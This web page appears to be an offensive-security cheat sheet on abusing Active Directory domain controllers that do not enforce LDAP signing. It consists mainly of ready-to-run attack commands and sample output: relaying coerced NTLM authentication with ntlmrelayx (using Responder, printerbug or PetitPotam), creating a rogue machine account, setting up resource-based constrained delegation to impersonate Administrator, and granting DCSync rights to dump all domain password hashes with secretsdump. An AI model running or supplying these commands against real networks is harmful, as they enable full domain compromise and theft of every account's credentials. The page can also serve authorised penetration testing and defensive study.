Skip to content
HackIndex logo

HackIndex

LDAP Relay and Signing Abuse

4 min read Jun 19, 2026

When LDAP signing is not enforced on a domain controller, NTLM authentication relayed to the LDAP service can be used to create computer accounts, modify ACLs, or read sensitive attributes. This does not require any existing credentials — you only need to force authentication from a machine account or user and relay it to LDAP. The impact ranges from adding a machine account to the domain to full DCSync rights.

Confirm signing is not enforced

Before attempting any relay, verify the signing state. Relaying to a DC with signing enforced will fail silently.

┌──(kali㉿kali)-[~]
└─$ # nxc ldap-checker module
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M ldap-checker
 
# With null auth if anonymous bind works
nxc ldap $TARGET_IP -u '' -p '' -M ldap-checker 
LDAP  10.10.10.10  389  DC01  LDAP signing NOT enforced (vulnerable)
LDAP  10.10.10.10  389  DC01  LDAPS channel binding NOT required (vulnerable)

If signing is not enforced, proceed. If LDAPS channel binding is also not required, you can relay to LDAPS which is slightly more reliable. See also LDAP Signing and Channel Binding for the full vulnerability confirmation workflow.

NTLM relay to LDAP — add machine account

The most common relay target is creating a new computer account in the domain. This gives you a machine account with a known password, which enables Resource-Based Constrained Delegation abuse if you can write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on a target computer.

┌──(kali㉿kali)-[~]
└─$ # Step 1 — start relay targeting LDAP on DC, delegate auth to create machine account
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t ldap://$TARGET_IP --delegate-access --no-smb-server -smb2support
 
┌──(kali㉿kali)-[~]
└─$ # Or target LDAPS
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t ldaps://$TARGET_IP --delegate-access --no-smb-server -smb2support
 
┌──(kali㉿kali)-[~]
└─$ # Step 2 — force authentication from any host (in separate terminal)
┌──(kali㉿kali)-[~]
└─$ # Via Responder (capture then relay — disable SMB and HTTP in Responder.conf first)
┌──(kali㉿kali)-[~]
└─$ responder -I eth0 -r -d -w
 
┌──(kali㉿kali)-[~]
└─$ # Via printerbug (SpoolSample) — forces DC to authenticate to you
┌──(kali㉿kali)-[~]
└─$ impacket-printerbug $DOMAIN/$USER:$PASSWORD@$TARGET_IP $LHOST
 
┌──(kali㉿kali)-[~]
└─$ # Via PetitPotam — forces auth without credentials on unpatched systems
┌──(kali㉿kali)-[~]
└─$ python3 PetitPotam.py $LHOST $TARGET_IP 
[*] SMBD-Thread-2: Connection from 10.10.10.10 controlled, attacking target ldap://10.10.10.10
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against ldap://10.10.10.10 as CORP/DC01$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] User privileges found: Create user
[*] User privileges found: Adding user to a privileged group (Enterprise Admins)
[*] Attempting to create computer in: CN=Computers,DC=corp,DC=local
[*] Adding new computer with password: RANDOMPASSWORD
[*] Successfully added machine account ATTACKPC$ with password RANDOMPASSWORD

RBCD — Resource-Based Constrained Delegation abuse

Once you have created a machine account via relay, use it to set up RBCD on a target computer. This lets you request a service ticket as any user — including domain admins — to services on the target.

┌──(kali㉿kali)-[~]
└─$ # After ntlmrelayx creates machine account ATTACKPC$ with known password:
 
┌──(kali㉿kali)-[~]
└─$ # Set msDS-AllowedToActOnBehalfOfOtherIdentity on target computer
┌──(kali㉿kali)-[~]
└─$ impacket-rbcd -f 'ATTACKPC$' -t $TARGET_COMPUTER -dc-ip $TARGET_IP $DOMAIN/$USER:$PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # Get SID of the new machine account
┌──(kali㉿kali)-[~]
└─$ impacket-getPac $DOMAIN/'ATTACKPC$':RANDOMPASSWORD -targetUser 'ATTACKPC$' -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Request a service ticket as Domain Admin via S4U2Self + S4U2Proxy
┌──(kali㉿kali)-[~]
└─$ impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP $DOMAIN/'ATTACKPC$':RANDOMPASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # Use the ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/Administrator@$TARGET_COMPUTER.$DOMAIN -k -no-pass

Relay to LDAP — modify ACL for DCSync

When relaying a domain admin or account with WriteDACL on the domain object, ntlmrelayx can grant DCSync rights to an account you control — giving you the ability to dump all domain hashes.

┌──(kali㉿kali)-[~]
└─$ # Relay and grant DCSync rights to controlled user
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t ldap://$TARGET_IP --escalate-user $USER --no-smb-server -smb2support
 
┌──(kali㉿kali)-[~]
└─$ # After successful relay, perform DCSync
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc 
[*] Authenticating against ldap://10.10.10.10 as CORP/Administrator SUCCEED
[*] Enumerating relayed user's privileges. This may take a while
[*] User privileges found: Modifying domain ACL
[*] Querying domain security descriptor
[*] Success! User 'jsmith' now has Replication-Get-Changes-All privileges on the domain

Requirements summary

  • LDAP signing not enforced on DC (confirmed with ldap-checker)

  • Ability to force NTLM authentication from a machine or user (Responder, printerbug, PetitPotam, or coerced via another vulnerability)

  • Machine Account Quota above 0 if creating a machine account (default is 10)

For the full vulnerability confirmation workflow before attempting relay see LDAP Signing and Channel Binding.

References